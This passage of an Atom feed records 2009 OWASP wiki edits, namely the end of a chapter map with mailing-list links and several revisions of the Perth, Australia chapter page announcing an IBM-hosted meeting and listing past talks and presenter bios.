(C) 39.8435,-74.1530,nnj                 &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-nnj Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 52,4,netherlands         &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-netherlands Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 40.7480,-73.7655,newjersey           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-new-york Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 43.3453,-96.4430,southdakota&lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-south_dakota Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.2895,-96.0437,omaha               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-omaha Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -32,116,perth&lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Perth]&lt;br /&gt;
&lt;br /&gt;
(C) 40.1608,-74.9187,philadelphia        &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-philadelphia Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 40.3047,-80.0713,pittsburgh          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-pittsburgh Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 9,-79.5,panama              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-panama Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 43.2,-77.6,rochester           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-rochester Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 38.6,-121.5,sacramento          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sacramento Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 38.6,-90.2,stlouis             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-stlouis Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 29.5,-98.5,sanantonio          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sanantonio Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 37.8,-122.4,san-fran            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-san-fran Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 37.3,-121.9,sanjose             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sanjose Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 47.6,-122.3,seattle             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-seattle Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 1,103,singapore           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-singapore Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 47,8,switzerland         &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-switzerland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -34,151,sydney              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sydney Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 35.1,-90,memphis             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-memphis Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 35,139,tokyo               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-tokyo Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 43.6,-79.4,toronto             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-toronto Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39,32,turkey              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-turkey Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39.170070,-76.848333,washington          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-washington Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 49.8,-97,winnipeg            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-winnipeg Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 14,120,manila              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-manila Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 3,101,malaysia            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-malaysia Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 38.8,-77.4,wash_dc_va          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-wash_dc_va Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 45,-76,ottawa              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-ottawa Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 49,-123,vancouver           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-vancouver Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 42,-71.227,bostonfinancialdist &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-bostonfinancialdist Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.3,2.1,spain               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-spain Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -34.5667,-58.4167,argentina           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Argentina Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.5,-81.7,cleveland           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-cleveland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -15.47,-47.55,brazil (Brasilia)   &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-brazil Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -33.27,-70.4,chile               &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-chile Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 24.64,46.77,riyadh              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-riyadh Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 5,-74.48,colombia            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-colombia Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 24.48,66.59,pakistan            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-pakistan Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 55.41,12.31,denmark             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-denmark Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 53.34,-113.31,edmonton            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-edmonton Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 29.46,-95.22,houston             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-houston Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 30.2669,-97.7429,austin              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-austin Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -27.718,153.240,brisbane            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-brisbane Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 22.57,120.12,taiwan              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-taiwan Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 40.7,-73.9,longisland          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-longisland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 60.39,25.51,helsinki            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-helsinki Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39.856,-104.97,denver              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-denver Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 36.17,-86.78,nashville           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-nashville Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 33.669,-111.948,phoenix             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-phoenix Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 13,80.2,chennai             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-chennai Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 48.8167,2.3167,france              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-france Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 29.2,48,kuwait              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-kuwait Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -36.51,174.47,newzealand          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-newzealand Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 37.25,127,southkorea          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-southkorea Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 18.32,73.51,pune                &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-pune Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.3,2.1,spanish             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-spanish Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 51.1,-114,calgary             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-calgary Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 38.7039,-9.0359,portuguese          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-portuguese Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 32.7,-117.2,sandiego            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sandiego Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 23.1,72.6,ahmedabad           &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-ahmedabad Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 33.57,-86.75,alabama             &lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-alabama Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 56.4,23.44,latvia              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-latvia Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 59.2,18.03,sweden              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sweden Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39.8,-84.3,cincinnati          &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-cincinnati Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) -23.32208,-46.757812,sanpaulo            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-sanpaulo Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 40.0537,-83.0725,columbus            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-columbus Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 33.72,-118.030,orange_county       &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-orange_county Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 50.067021,19.920438,poland              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-poland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 13.44,100.3,thailand            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-thailand Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 9.05,7.32,nigeria             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-nigeria Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 10.759,106.662,vietnam             &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-vietnam Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 22.541,114.054,china-mainland      &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-China-Mainland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 31.208,121.503,china-mainland      &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-China-Mainland Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 39.892,116.389,china-mainland      &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-China-Mainland  Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 44.05,-123.09,eugene              &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-eugene Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 41.44,-72.39,hartford            &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-hartford Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 33.57,-86.75,alabama             &lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-alabama Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 21.18,-157.51,hawaii              &lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-hawaii Mailing List]&lt;br /&gt;
&lt;br /&gt;
(C) 27.382893,-82.4356,suncoast            &lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-suncoast Mailing List]&lt;br /&gt;
&lt;br /&gt;
(M) 49.467232, 11.085205, OWASP_AppSec_Germany_2009_Conference&lt;br /&gt;
&lt;br /&gt;
(C) 31.194008, 29.959717,egypt&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-egypt Mailing List]&lt;br /&gt;
&amp;lt;/googlemap&amp;gt;&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=68604</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=68604"/>
				<updated>2009-09-07T13:14:44Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated previous shlomi bit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 7/9/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=68603</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=68603"/>
				<updated>2009-09-07T13:12:55Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated after Sep meeting&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Shlomi Cohen of IBM Rational (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
The OWASP Perth Chapter is excited to announce our next meeting event.&lt;br /&gt;
This meeting is generously being hosted by IBM, who are providing a venue, catering *and* presenter, Shlomi Cohen. Shlomi works in the IBM Rational business unit and was fundamental in the development of their AppScan suite of products. &lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall &lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 7/9/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Xntrik&amp;diff=68601</id>
		<title>User:Xntrik</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Xntrik&amp;diff=68601"/>
				<updated>2009-09-07T03:45:14Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: first draft&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;To learn more about me you can check out http://un-excogitate.org&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=68419</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=68419"/>
				<updated>2009-09-02T02:41:01Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Meeting ==&lt;br /&gt;
&lt;br /&gt;
=== Shlomi Cohen of IBM Rational ===&lt;br /&gt;
&lt;br /&gt;
The OWASP Perth Chapter is excited to announce our next meeting event.&lt;br /&gt;
This meeting is generously being hosted by IBM, who are providing a venue, catering *and* presenter, Shlomi Cohen. Shlomi works in the IBM Rational business unit and was fundamental in the development of their AppScan suite of products. &lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall &lt;br /&gt;
&lt;br /&gt;
 '''Date: Monday 7th of September, 2009'''&lt;br /&gt;
 '''Time: 18:00 sign-in, 18:15 start'''&lt;br /&gt;
 '''Location: IBM Building, 1060 Hay St, West Perth, 6005'''&lt;br /&gt;
 '''RSVP: [mailto:christian.frichot@bankwest.com.au Christian Frichot]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 2/9/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=68418</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=68418"/>
				<updated>2009-09-02T02:27:35Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated Shlomi's Bio&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Meeting ==&lt;br /&gt;
&lt;br /&gt;
=== Shlomi Cohen of IBM Rational ===&lt;br /&gt;
&lt;br /&gt;
The OWASP Perth Chapter is excited to announce our next meeting event.&lt;br /&gt;
This meeting is generously being hosted by IBM, who are providing a venue, catering *and* presenter, Shlomi Cohen. Shlomi works in the IBM Rational business unit and was fundamental in the development of their AppScan suite of products. &lt;br /&gt;
&lt;br /&gt;
==== Bio ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall &lt;br /&gt;
&lt;br /&gt;
 '''Date: Monday 7th of September, 2009'''&lt;br /&gt;
 '''Time: 18:00 sign-in, 18:15 start'''&lt;br /&gt;
 '''Location: IBM Building, 1060 Hay St, West Perth, 6005'''&lt;br /&gt;
 '''RSVP: [mailto:christian.frichot@bankwest.com.au Christian Frichot]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 2/9/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
